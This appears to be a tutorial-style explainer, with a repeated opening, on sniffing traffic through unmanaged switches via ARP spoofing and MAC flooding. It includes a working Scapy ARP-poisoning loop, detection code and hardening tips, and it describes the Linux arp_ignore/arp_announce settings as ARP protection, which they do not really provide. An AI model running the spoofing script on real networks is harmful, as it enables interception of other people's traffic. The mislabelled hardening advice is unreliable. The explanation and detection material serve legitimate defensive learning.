Many developers assume unmanaged switches provide complete port isolation like their managed counterparts. While switches do maintain MAC address tables to forward frames selectively, several scenarios allow traffic visibility across ports:

// Typical switch forwarding logic (simplified)
if (destMAC in MAC_table) {
    forward_to_port(MAC_table[destMAC]);
} else {
    flood_to_all_ports(); // Critical vulnerability window
}

The most common exploit vector is ARP spoofing. Here's Python code demonstrating how easy it is to intercept traffic:

from scapy.all import *

def arp_spoof(target_ip, target_mac, gateway_ip):
    packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, 
                psrc=gateway_ip)
    send(packet, verbose=False)

while True:
    arp_spoof("192.168.1.5", "aa:bb:cc:dd:ee:ff", "192.168.1.1")
    arp_spoof("192.168.1.1", "11:22:33:44:55:66", "192.168.1.5")
    time.sleep(2)

Unmanaged switches temporarily flood frames when:

• MAC tables reset (common in low-end devices)
• Broadcast/multicast traffic occurs
• Port security thresholds are exceeded

For developers building network-aware applications:

// Node.js example using arp-binding
const arp = require('arp-binding');

arp.setStatic('192.168.1.5', 'aa:bb:cc:dd:ee:ff')
   .catch(err => console.error('ARP hardening failed:', err));

Always implement:

1. SSH instead of Telnet
2. HTTPS with certificate pinning
3. IPSec for sensitive internal communications

When working with unmanaged 3Com switches (or any basic layer 2 switches), we expect traffic isolation where frames are only forwarded to their destination MAC addresses. However, several techniques allow sniffing despite this:

// Typical switch forwarding logic (simplified)
void handle_frame(SwitchPort port, EthernetFrame frame) {
    if(frame.dest_mac == BROADCAST_MAC || 
       frame.dest_mac == MULTICAST_MAC ||
       !mac_table.contains(frame.dest_mac)) {
        flood_frame(frame);  // Vulnerable moment
    } else {
        forward_to_port(frame, mac_table[frame.dest_mac]);
    }
}

ARP Cache Poisoning: The most prevalent method where the sniffer:

• Sends forged ARP replies mapping other hosts' IPs to its MAC
• Becomes the "man-in-the-middle" for traffic
• Example detection code:

# Python ARP spoofing detector
from scapy.all import sniff, ARP

def detect_arp_spoof(pkt):
    if pkt[ARP].op == 2:  # ARP reply
        real_mac = get_real_mac(pkt[ARP].psrc)
        if real_mac and pkt[ARP].hwsrc != real_mac:
            print(f"ARP Spoof detected! {pkt[ARP].psrc} is being mapped to {pkt[ARP].hwsrc}")

sniff(filter="arp", prn=detect_arp_spoof)

Some advanced sniffers may force switches to revert to hub-like behavior:

• MAC flooding: Overwrites the switch's MAC table
• VLAN hopping: Exploits improper VLAN tagging

// MAC flooding simulation (educational purposes only)
void mac_flood(Switch target) {
    while(true) {
        send_frame(random_mac(), random_mac());
        if(target.is_flooding_mode()) break;
    }
}

For Unmanaged Switches:

1. Implement host-based protections:

   # Linux ARP protection
   echo 1 > /proc/sys/net/ipv4/conf/all/arp_ignore
   echo 2 > /proc/sys/net/ipv4/conf/all/arp_announce

2. Use encrypted protocols (HTTPS, SSH, VPNs)
3. Segment sensitive traffic physically

Consider managed switches when you need:

• Port security features
• Proper VLAN isolation
• SPAN port mirroring for authorized monitoring